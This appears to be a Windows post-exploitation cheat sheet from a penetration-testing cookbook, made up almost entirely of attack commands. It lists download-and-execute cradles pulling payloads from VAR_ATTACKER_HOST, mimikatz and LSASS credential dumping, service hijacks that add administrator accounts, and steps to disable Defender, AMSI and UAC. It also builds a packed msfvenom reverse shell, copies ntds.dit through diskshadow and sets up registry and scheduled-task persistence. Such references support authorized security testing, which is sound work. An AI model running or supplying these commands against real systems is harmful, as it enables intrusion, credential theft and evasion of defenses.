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Target.Host.OS.Windows.txt
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Target.Host.OS.Windows.txt
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`` Enumeration
`` Automated
-- Easily detected by AV without patching
~> seatbelt.exe all full > report.txt
`` whoami
~> echo %USERNAME% || whoami.exe
~> wmic.exe useraccount where name='%USERNAME%' get sid
-- Verbose (whoami may trigger EDR)
~> whoami.exe /all
`` Users and Groups
~> net.exe users
~> net.exe localgroup
~> net.exe localgroup Administrators
~> net.exe localgroup "Remote Desktop Users"
-- Verbose, with SIDs
~> wmic.exe useraccount list full
`` OS
-- Basic
~> ver.exe & echo %PROCESSOR_ARCHITECTURE%
-- With systeminfo
~> systeminfo.exe | findstr.exe /B /C:"OS Name" /C:"OS Version" /C:"System Type"
-- Windows Release ID
~> reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ReleaseId
-- WMI variant
~> wmic.exe os get OSArchitecture,Caption,Version
`` File-based
-- Windows XP
- C:\Windows\System32\eula.txt
-- Windows 7
- C:\Windows\System32\license.rtf
-- Windows 10
- C:\Windows\System32\license.rtf (EULA code lookup)
`` Networking
~> ipconfig.exe /all
~> arp.exe -a
-- Routing
~> route.exe print
~> netstat.exe -r
-- Listening TCP sockets
~> netstat.exe -ano -p tcp | findstr.exe LISTENING
-- Listening UDP sockets
~> netstat.exe -ano -p udp | findstr.exe LISTENING
-- Find a binary behind the specific port
~> for /f "tokens=3 delims=LISTENING" %i in ('netstat.exe -ano ^| findstr.exe "VAR_INTEGER"') do tasklist.exe /fi "pid eq %i"
~PS> netstat.exe -aon | Select-String VAR_INTEGER | ForEach-Object { $_ -replace '\s+', ',' } | ConvertFrom-Csv -Header @('Empty', 'Protocol', 'AddressLocal', 'AddressForeign', 'State', 'PID') | ForEach-Object { $portProcess = Get-Process | Where-Object Id -eq $_.PID; $_ | Add-Member -NotePropertyName 'ProcessName' -NotePropertyValue $portProcess.ProcessName; Write-Output $_ } | Sort-Object ProcessName, State, Protocol, AddressLocal, AddressForeign | Select-Object ProcessName, State, Protocol, AddressLocal, AddressForeign | Format-Table
-- Established connections
~> netstat.exe -an | findstr.exe ESTABLISHED
`` Firewall Settings
`` State
~> netsh.exe firewall show state
`` Open ports
@ snippets/windows/utils/Win10FirewallRules.ps1
`` In the Windows Network context
`` General
-- Computer name, user name, OS version and communication settings
~> net.exe config workstation
~> net.exe config server
-- Show information about all sessions with the local computer
~> net.exe session
-- Show a list of network connections
~> net.exe use
-- Show a list of computers
~> net.exe view
-- Shared resources for all domains in the network
~> net.exe view /all /domain
-- Show password and logon policy for the domain
~> net.exe accounts /domain
`` Network Shares
~> net.exe share
~> wmic.exe share list
`` Windows Server (RDP)
~> qwinsta.exe
~> quser.exe
`` SNMP
~> reg.exe query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
~PS> Get-ChildItem --Path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
`` IPv6 support
~PS> Write-Host 'OS Supports IPv6: ' $( [System.Net.Sockets.Socket]::OSSupportsIPv6 )
`` PowerShell
~> reg.exe query "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
~> reg.exe query "HKLM\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine" /v PowerShellVersion
`` Check if running as 64-bit
~> [Environment]::Is64BitProcess
`` Check if running in CLM
~> $ExecutionContext.SessionState.LanguageMode
`` Startup Items
~> wmic.exe startup list brief
`` Services
~> net.exe start
~> sc.exe query state= all | findstr.exe "SERVICE_NAME DISPLAY_NAME STATE"
`` Powershell
~PS> Get-Service VAR_NAME | format-list
~PS> Get-Itemproperty HKLM:\System\CurrentControlSet\services\VAR_NAME
`` Unquoted Service Paths
~> wmic.exe service get Name,DisplayName,PathName,StartMode | findstr.exe /i /v "C:\Windows" | findstr.exe /i /v """
`` Installed software
~> dir /a "C:\Program Files" "C:\Program Files (x86)"
~> reg.exe query HKEY_LOCAL_MACHINE\SOFTWARE
-- Verbose but takes time
~> wmic.exe product get Name,Version
-- Drivers
~> driverquery.exe
-- AV
~> wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct get DisplayName /format:list
-- Installed Patches
~> wmic.exe qfe get Caption,Description,HotFixID,InstalledOn
-- Security mechanisms enabled?
~> reg.exe query HKLM\System\CurrentControlSet\Control\DeviceGuard
- EnableVirtualizationSecurity - Credential Guard
- RequirePlatformServices - 1 for SecureBoot
- RequirePlatformServices - 3 for Secure Boot and DMA Protection
`` Processes
~> tasklist.exe /svc
~> tasklist.exe /v /fi "username eq system"
-- Verbose
~> wmic.exe process list
`` Scheduled Tasks
~> schtasks.exe /query /fo LIST /v
~> schtasks.exe /query /fo LIST 2>nul | findstr.exe "VAR_STRING"
`` Logging
~> reg.exe query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
~> reg.exe query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
~> reg.exe query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
~> reg.exe query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
~> wevutil el
`` AppLocker
~PS> (Get-AppLockerPolicy -Local).RuleCollections
~PS> Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
~> reg.exe query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
`` Interesting files
- %SYSTEMROOT%\System32\$winnt$.inf
- %SYSTEMROOT%\Panther\Unattend.xml
- %SYSTEMROOT%\Panther\Unattend\Unattend.xml
- %SYSTEMROOT%\system32\sysprep.inf
- %SYSTEMROOT%\system32\sysprep\sysprep.xml
- %SYSTEMROOT%\ntds
- %SYSTEMROOT%\System32\GroupPolicy\Machine
- %SYSTEMROOT%\System32\GroupPolicy\User
- %SYSTEMROOT%\System32\GroupPolicyUsers
- %SYSTEMDRIVE%\pagefile.sys
- %SYSTEMROOT%\debug\NetSetup.log
- %SYSTEMROOT%\iis6.log
- %SYSTEMROOT%\iis7.log
- %SYSTEMROOT%\iis8.log
- %SYSTEMROOT%\Panther\Unattend.txt
- %SYSTEMROOT%\php.ini
- %SYSTEMROOT%\repair\SAM
- %SYSTEMROOT%\repair\security
- %SYSTEMROOT%\repair\software
- %SYSTEMROOT%\repair\system
- %SYSTEMROOT%\system32\CCM\logs\*.log
- %SYSTEMROOT%\system32\config\AppEvent.Evt
- %SYSTEMROOT%\system32\config\default.sav
- %SYSTEMROOT%\system32\config\regback\default
- %SYSTEMROOT%\System32\config\RegBack\SAM
- %SYSTEMROOT%\System32\config\RegBack\system
- %SYSTEMROOT%\system32\config\regback\security
- %SYSTEMROOT%\system32\config\regback\software
- %SYSTEMROOT%\System32\config\SAM
- %SYSTEMROOT%\system32\config\SecEvent.Evt
- %SYSTEMROOT%\system32\config\security.sav
- %SYSTEMROOT%\system32\config\software.sav
- %SYSTEMROOT%\System32\config\SYSTEM
- %SYSTEMROOT%\system32\config\system.sav
- %SYSTEMROOT%\System32\drivers\etc\hosts
- %SYSTEMROOT%\System32\drivers\etc\networks
- %SYSTEMROOT%\system32\inetsrv\config\applicationHost.config
- %SYSTEMROOT%\system32\inetsrv\config\schema\ASPNET_schema.xml
- %SYSTEMROOT%\system32\logfiles\httperr\httperr1.log
- %SYSTEMROOT%\system32\sysprep
- %SYSTEMROOT%\win.ini
- %SYSTEMROOT%\windowsupdate.log
- %USERPROFILE%\ntuser.dat
- %USERPROFILE%\Application Data\Microsoft\Credentials\
- %SYSTEMDRIVE%\apache\logs\access.log
- %SYSTEMDRIVE%\apache\logs\error.log
- %SYSTEMDRIVE%\apache\php\php.ini
- %SYSTEMDRIVE%\Autounattend.xml
- %SYSTEMDRIVE%\boot.ini
- %SYSTEMDRIVE%\Documents and Settings\Administrator\desktop\desktop.ini
- %SYSTEMDRIVE%\Documents and Settings\Administrator\NTUser.dat
- %SYSTEMDRIVE%\Documents and Settings\Administrator\ntuser.ini
- %SYSTEMDRIVE%\inetpub\logs\LogFiles\
- %SYSTEMDRIVE%\inetpub\wwwroot\
- %SYSTEMDRIVE%\inetpub\wwwroot\global.asa
- %SYSTEMDRIVE%\inetpub\wwwroot\web.config
- %SYSTEMDRIVE%\MySQL\data\hostname.err
- %SYSTEMDRIVE%\MySQL\data\mysql.err
- %SYSTEMDRIVE%\MySQL\data\mysql.log
- %SYSTEMDRIVE%\MySQL\my.cnf
- %SYSTEMDRIVE%\MySQL\my.ini
- %SYSTEMDRIVE%\php4\php.ini
- %SYSTEMDRIVE%\php5\php.ini
- %SYSTEMDRIVE%\php\php.ini
- %SYSTEMDRIVE%\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
- %SYSTEMDRIVE%\Program Files (x86)\Apache Group\Apache\conf\access.log
- %SYSTEMDRIVE%\Program Files (x86)\Apache Group\Apache\conf\error.log
- %SYSTEMDRIVE%\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
- %SYSTEMDRIVE%\Program Files (x86)\FileZilla Server\FileZilla Server.xml
- %SYSTEMDRIVE%\Program Files (x86)\xampp\apache\conf\httpd.conf
- %SYSTEMDRIVE%\Program Files\Apache Group\Apache2\conf\httpd.conf
- %SYSTEMDRIVE%\Program Files\Apache Group\Apache\conf\httpd.conf
- %SYSTEMDRIVE%\Program Files\Apache Group\Apache\logs\access.log
- %SYSTEMDRIVE%\Program Files\Apache Group\Apache\logs\error.log
- %SYSTEMDRIVE%\Program Files\FileZilla Server\FileZilla Server.xml
- %SYSTEMDRIVE%\Program Files\MySQL\data\hostname.err
- %SYSTEMDRIVE%\Program Files\MySQL\data\mysql-bin.log
- %SYSTEMDRIVE%\Program Files\MySQL\data\mysql.err
- %SYSTEMDRIVE%\Program Files\MySQL\data\mysql.log
- %SYSTEMDRIVE%\Program Files\MySQL\my.cnf
- %SYSTEMDRIVE%\Program Files\MySQL\my.ini
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\data\hostname.err
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\data\mysql-bin.log
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\data\mysql.err
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\data\mysql.log
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\my.cnf
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\my.ini
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.1\my.ini
- %SYSTEMDRIVE%\sysprep.inf
- %SYSTEMDRIVE%\sysprep\sysprep.inf
- %SYSTEMDRIVE%\sysprep\sysprep.xml
- %SYSTEMDRIVE%\Unattend.xml
- %SYSTEMDRIVE%\Users\Administrator\Desktop\desktop.ini
- %SYSTEMDRIVE%\Users\Administrator\NTUser.dat
- %SYSTEMDRIVE%\Users\Administrator\NTUser.ini
- %SYSTEMDRIVE%\xampp\apache\bin\php.ini
- %SYSTEMDRIVE%\xampp\apache\conf\httpd.conf
- %SYSTEMDRIVE%\xampp\apache\logs\access.log
- %SYSTEMDRIVE%\xampp\apache\logs\error.log
- %SYSTEMDRIVE%\xampp\security\webdav.htpasswd
- %SYSTEMDRIVE%\xampp\tomcat\conf\tomcat-users.xml
- %SYSTEMDRIVE%\xampp\tomcat\conf\web.xml
- %SYSTEMDRIVE%\xampp\webalizer\webalizer.conf
- %SYSTEMDRIVE%\xampp\webdav\webdav.txt
- %APPDATA%\Microsoft\Credentials
- %APPDATA%\Microsoft\Protect
- *.gpg
- *.pgp
- *.p12
- *.der
- *.csr
- *.cer
- *.ovpn
- *.kdbx
`` Registry keys
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit
- HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKLM\Software\Microsoft\Windows\CurrentVersion\Run
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- HKLM\System\CurrentControlSet\Control\Session Manager\BootExecute
- HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce (legacy Windows)
~> reg.exe query HKLM /f password /t REG_SZ /s
`` Weak Permissions
`` Filesystem
~> icacls "C:\Documents and Settings\*" 2>nul | findstr.exe "(F) (M)" | findstr.exe "Everyone BUILTIN\Users"
~> icacls "C:\Program Files (x86)\*" 2>nul | findstr.exe "(F) (M)" | findstr.exe "Everyone BUILTIN\Users"
~> icacls "C:\Program Files\*" 2>nul | findstr.exe "(F) (M)" | findstr.exe "Everyone BUILTIN\Users"
~> icacls "C:\Users\*" 2>nul | findstr.exe "(F) (M)" | findstr.exe "Everyone BUILTIN\Users"
~> icacls "C:\*." /findsid VAR_USERNAME /t /c /l 2>nul
-- Files
~> accesschk.exe -uwvs "Authenticated Users" c:\
~> accesschk.exe -uwvs "Everyone" c:\
~> accesschk.exe -uwvs "Users" c:\
-- Directories
~> accesschk.exe -duwvs "Authenticated Users" c:\
~> accesschk.exe -duwvs "Everyone" c:\
~> accesschk.exe -duwvs "Users" c:\
`` Registry
~> accesschk.exe -kuwvs "Authenticated Users" "HKLM\SYSTEM\CurrentControlSet\Services"
~> accesschk.exe -kuwvs "Everyone" "HKLM\SYSTEM\CurrentControlSet\Services"
~> accesschk.exe -kuwvs "Users" "HKLM\SYSTEM\CurrentControlSet\Services"
`` With PowerShell
~PS> Get-ChildItem -Recurse | Get-Acl | out-string -stream | select-string -pattern "Everyone"
`` Sensitive data
~> dir /S /B *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
~> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* 2>nul
~> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* 2>nul
~> cd C:\ && findstr.exe /SI /M password *.xml *.ini *.txt *.config *.cfg 2>nul
~PS> Get-Childitem -Path C:\Users\ -Include *pass*,*cred*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue
~PS> Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
`` File transfer
`` BitsAdmin
~> cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://VAR_ATTACKER_HOST/accesschk.exe accesschk.exe
~PS> Import-Module BitsTransfer
~PS> Start-BitsTransfer -Source $url -Destination $output
`` certutil
~> certutil.exe -urlcache -split -f "http://VAR_ATTACKER_HOST/file.b64" & certutil.exe -f -decode Blob0_0.bin accesschk.exe & del Blob0_0.bin
~> certutil.exe -urlcache -split -f "http://VAR_ATTACKER_HOST/file.b64" & certutil.exe -f -decode accesschk.b64 accesschk.exe & del accesschk.b64
`` Non-interactive FTP
`` Script
@ snippets/windows/utils/ftp.bat
`` Powershell
`` Script
@ snippets/windows/utils/wget_ps1.bat
`` CLI
~> powershell.exe Invoke-WebRequest -Uri http://VAR_ATTACKER_HOST/nc.exe -OutFile C:\nc.exe
~> powershell.exe -c "(new-object System.Net.WebClient).DownloadFile('http://VAR_ATTACKER_HOST/file.exe','C:\Users\user\Desktop\file.exe')"
~PS> $h=New-Object -com Msxml2.XMLHTTP;$h.open('GET','http://VAR_ATTACKER_HOST/script.ps1',$false);$h.send();iex $h.responseText
~PS> $h=New-Object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://VAR_ATTACKER_HOST/script.ps1',$false);$h.send();iex $h.responseText
~PS> $h=New-Object Net.HttpListener;$h.Prefixes.Add("http://+:8000/");$h.Start();While ($h.IsListening){$HC=$h.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type","text/plain");$Buf=[Text.Encoding]::UTF8.GetBytes((GC (Join-Path $Pwd ($HC.Request).RawUrl)));$HRes.ContentLength64=$Buf.Length;$HRes.OutputStream.Write($Buf,0,$Buf.Length);$HRes.Close()};$h.Stop()
~PS> $ie=New-Object -com InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://VAR_ATTACKER_HOST/script.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
~PS> IEX (iwr 'http://VAR_ATTACKER_HOST/script.ps1')
~PS> IEX (New-Object Net.Webclient).downloadstring("http://VAR_ATTACKER_HOST/script.ps1")
~PS> Import-Module bitstransfer;Start-BitsTransfer 'http://VAR_ATTACKER_HOST/script.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r
`` DNS
~PS> IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))
`` Base64
~$ cat cmd.txt | iconv -t UTF-16LE -f UTF-8 | base64 -w0
~> powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc "JABjAGwAaQBlAG4AdAAgA...UAKAApAAoA"
`` VBS
`` Script
@ snippets/windows/utils/wget_vbs.bat
`` Powershell listener
@ snippets/windows/shells/bind/PortListener.ps1
`` Base64 encoder VBS
@ snippets/windows/utils/base64.vbs
`` Privilege escalation
`` Ideas
- Access to sensitive files such as the Windows SAM file
- Always Install Elevated
- Autologon User Credential
- DLL Hijacking / Proxying
- DLL Injection
- Group Policy Preferences
- Insecure File/Folder Permissions
- Insecure Named Pipes Permissions
- Insecure Registry Permissions
- Insecure Service Permissions
- Installation scripts and data containing passwords
- Registry settings such as always elevated and automatically executed binaries
- Scheduled tasks that execute scripts and programs
- Stored Credentials
- Token Manipulation
- Unattended Answer File
- Unquoted Service Path
- User Account Control (UAC) Bypass
- Vulnerable software running with high privileges
- Windows Kernel Exploit
`` Automated
`` Powershell
- PowerUp.ps1 (https://github.com/PowerShellEmpire/PowerTools)
- jaws-enum.ps1 (https://github.com/411Hall/JAWS)
- HostRecon.ps1 (https://github.com/dafthack/HostRecon)
`` Copy & Paste
~PS> (New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST/PowerUp.ps1') | IEX; Invoke-AllChecks
~PS> (New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST/jaws-enum.ps1') | IEX
~PS> (New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST/HostRecon.ps1'); Invoke-HostRecon
`` Metasploit
~MS> use post/multi/recon/local_exploit_suggester
`` Services
`` Weak Permissions
~> accesschk.exe -uwvc "Authenticated Users" *
~> accesschk.exe -uwvc "Everyone" *
`` Bruteforcing
~PS> $services = ls HKLM:\SYSTEM\CurrentControlset\Services
~PS> foreach ($service in $services) {
~PS> reg.exe add $service.Name /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\test.bat" /f
~PS> Start-Service -name $service.Name.Split("\\")[-1]
~PS> }
`` Configuration
~> sc.exe qc upnphost
~> sc.exe config upnphost binpath= "net user VAR_USERNAME VAR_PASSWORD /add && net localgroup Administrators VAR_USERNAME /add" type= interact
~> sc.exe config upnphost obj= ".\LocalSystem" password= ""
~> net.exe stop upnphost
~> net.exe start upnphost
~PS> Get-Service -name "VAR_STRING*" | Set-Service -StartupType "disabled"
~PS> Stop-Process -force -name VAR_STRING*
`` Finding C# compiler
~> dir /s %WINDIR%\csc.exe
`` mimikatz
~> mimikatz "privilege::debug" "sekurlsa::logonPasswords" exit
~> mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonPasswords" exit
~> mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonPasswords" "lsadump::lsa" "lsadump::trust" exit
~> mimikatz "privilege::debug" "token::elevate /domainadmin" exit
token::run cmd.exe
sekurlsa::pth /user:VAR_USERNAME /domain:VAR_DOMAIN /ntlm:VAR_NT_HASH /run:cmd
~PS> Invoke-Mimikatz -Command '"privilege::debug sekurlsa::logonPasswords"'
~PS> Invoke-Mimikatz -Command '"privilege::debug dbapi::cred /in:VAR_STRING"'
`` With SharpSploit
~> SharpSploitConsole.exe Mimi-Command "!+"
~> SharpSploitConsole.exe Mimi-Command "!processprotect /process:lsass.exe /remove"
~> SharpSploitConsole.exe Mimi-All
`` Dump with SysInternals procdump.exe and load offline to mimikatz
~> procdump.exe -ma lsass.exe lsass.dmp -accepteula
~> mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
`` Dump with native DLL
~> tasklist.exe /fi "imagename eq lsass.exe"
~> C:\Windows\system32\rundll32.exe C:\Windows\system32\comsvcs.dll, MiniDump VAR_STRING_PID %TEMP%\lsass.dmp full
`` Run shell as NT AUTHORITY\SYSTEM
~> psexec.exe -h -i -s %SYSTEMROOT%\system32\cmd.exe -accepteula
`` Evasion
`` AppLocker-free paths
- applocker-bypas-checker.ps1 (https://github.com/HackLikeAPornstar/GibsonBird/blob/master/chapter4/applocker-bypas-checker.ps1)
`` LOLBINs
~> cmd.exe /k < \\VAR_ATTACKER_HOST\folder\batchfile.txt
~> cscript //E:jscript \\VAR_ATTACKER_HOST\folder\payload.txt
~> mshta vbscript:Close(Execute("GetObject(""script:http://VAR_ATTACKER_HOST/payload.sct"")"))
~> mshta http://VAR_ATTACKER_HOST/payload.hta
~> mshta \\VAR_ATTACKER_HOST\folder\payload.hta
~> rundll32.exe \\VAR_ATTACKER_HOST\folder\payload.dll,entrypoint
~> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://VAR_ATTACKER_HOST/payload.sct");window.close();
~> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.Exec(\"calc\")");
~> wmic.exe os get /format:"https://VAR_ATTACKER_HOST/payload.xsl"
~> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\VAR_ATTACKER_HOST\folder\payload.dll
~> regsvr32 /u /n /s /i:http://VAR_ATTACKER_HOST/payload.sct scrobj.dll
~> regsvr32 /u /n /s /i:\\VAR_ATTACKER_HOST\folder\payload.sct scrobj.dll
~> odbcconf /s /a {regsvr \\VAR_ATTACKER_HOST\folder\payload_dll.txt}
~> cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\VAR_ATTACKER_HOST\folder\payload.xml > payload.xml & !MB! payload.xml"
~> certutil -urlcache -split -f http://VAR_ATTACKER_HOST/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
~> rundll32 c:\windows\system32\ieframe.dll,OpenURL 1.url
`` AlwaysInstallElevated
~> reg.exe query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated"
~> reg.exe query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated"
`` Disabling defense
`` Is Credential Guard enabled?
~PS> Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
`` Disabling Windows Defender
~> reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
-- Disable real-time monitoring, cloud-delivered protection and automatic sample submission
~PS> Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disabled
~> sc.exe stop WinDefend
~PS> "C:\Program Files\Windows Defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true
~PS> Add-MpPreference -ExclusionPath C:\
`` Invoke-Mimikatz "obfuscation"
~$ ~/lib/pentesting-cookbook/snippets/windows/utils/obfuscate-mimikatz.sh ./Invoke-Mimikatz.ps1 Invoke-Minidoggiez.ps1
`` Invoke-Obfuscation
~PS> Invoke-Obfuscation -ScriptPath 'https://example.com/VAR_STRING.ps1' -Command 'TOKEN,ALL,1,OUT Invoke-Minidoggiez.ps1' -Quiet
`` In-memory Mimikatz
~PS> $browser = New-Object System.Net.WebClient
~PS> $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials
~PS> mimi= $browser.DownloadString("http://VAR_ATTACKER_HOST/Invoke-Minidoggiez.ps1")
~PS> Invoke-Expression(mimi)
~PS> Invoke-Minidoggiez
`` Hyperion
~$ msfvenom -p windows/shell_reverse_tcp lhost=VAR_ATTACKER_HOST lport=VAR_ATTACKER_PORT -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o foobar.exe
~$ cp /usr/share/windows-binaries/Hyperion-1.0.zip .
~$ unzip Hyperion-1.0.zip
~$ cd Hyperion-1.0/
~$ Hyperion-1.0# i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
~$ Hyperion-1.0# cp -p /usr/lib/gcc/i686-w64-mingw32/6.1-win32/libgcc_s_sjlj-1.dll .
~$ Hyperion-1.0# cp -p /usr/lib/gcc/i686-w64-mingw32/6.1-win32/libstdc++-6.dll .
~$ Hyperion-1.0# wine hyperion.exe ../foobar.exe ../crypted.exe
`` Disable AMSI
~PS> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null,$true)
~PS> IEX(New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST:8001/amsi-bypass.ps1')
`` Is UAC enabled?
~> reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA
`` Disable UAC (Vista, 7, 8, 10)
~> reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
`` UAC bypass by mounting system
~> net.exe use Z: \\127.0.0.1\c$
~> cd C$
`` Reading files
~PS> .\Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\system" -LocalDestination c:\%TEMP\system.bak
~PS> .\Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination c:\%TEMP\sam.bak
`` JScript Assembly
[Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');$js = 'var js = new ActiveXObject("WScript.Shell");js.Run("calc");'[Microsoft.JScript.Eval]::JScriptEvaluate($js,[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine());
`` XML/XSL
~PS> $s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('http://VAR_ATTACKER_HOST/xsl-notepad.xsl',$s,$r);$x.Transform('http://VAR_ATTACKER_HOST/xsl-notepad.xml','z');del z;
`` SCT
`` Powershell VBScript Assembly SCT "Fetch & Execute"
~PS> [Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');[Microsoft.VisualBasic.Interaction]::GetObject('script:http://VAR_ATTACKER_HOST/notepad.sct').Exec(0)
`` Powershell JScript Assembly SCT "Fetch & Execute"
~PS> [Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');[Microsoft.JScript.Eval]::JScriptEvaluate('GetObject("script:http://VAR_ATTACKER_HOST/notepad.sct").Exec()',[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine())
`` Loading .Net/C# Assemblies to Bypass AppLocker Default Rules w/ PowerShell Diagnostic Scripts
~> powershell.exe -v 2 -ep bypass
~PS> cd C:\windows\diagnostics\system\AERO
~PS> import-module .\CL_LoadAssembly.ps1
~PS> LoadAssemblyFromPath ..\..\..\..\path\assembly.exe
~PS> [name.space]::executesomething()
`` Command Invocation w/ PowerShell Diagnostic Scripts
~> powershell.exe -v 2 -ep bypass
~PS> cd C:\windows\diagnostics\system\AERO
~PS> import-module CL_Invocation.ps1
~PS> SyncInvoke notepad.exe
`` PowerShell CL Download Cradle
~PS> $a = New-Object System.Xml.XmlDocument
~PS> $a.Load("http://VAR_ATTACKER_HOST/notepad.xml")
~PS> $a.command.a.execute | iex
`` Installing root certificate
~> certutil.exe -addstore -f -user Root %TEMP%\cert.cer
~PS> Import-Certificate -FilePath %TEMP%\cert.cer -CertStoreLocation Cert:\CurrentUser\Root\
`` diskshadow.exe
`` Interactive
~> c:\windows\system32\diskshadow.exe
> exec calc.exe
> exec "cmd.exe" /c calc.exe
> exit
`` Script (diskshadow.txt)
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
exec "cmd.exe" /c reg.exe save hklm\system c:\exfil\system.bak
delete shadows volume %someAlias%
reset
`` Execution
~> diskshadow.exe /s c:\test\diskshadow.txt
`` Persistence
~> schtasks.exe /create /sc hourly /tn VSSTask /tr "diskshadow.exe /s c:\test\diskshadow.txt"
~> reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v VSSRun /t REG_EXPAND_SZ /d "diskshadow.exe /s c:\test\diskshadow.txt"
`` Uninstall Windows patch
~> wusa /uninstall /kb:4498932 /quiet /norestart
`` Persistence
`` Registry
-- Screen saver
~> reg.exe add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /d c:\shell.cmd
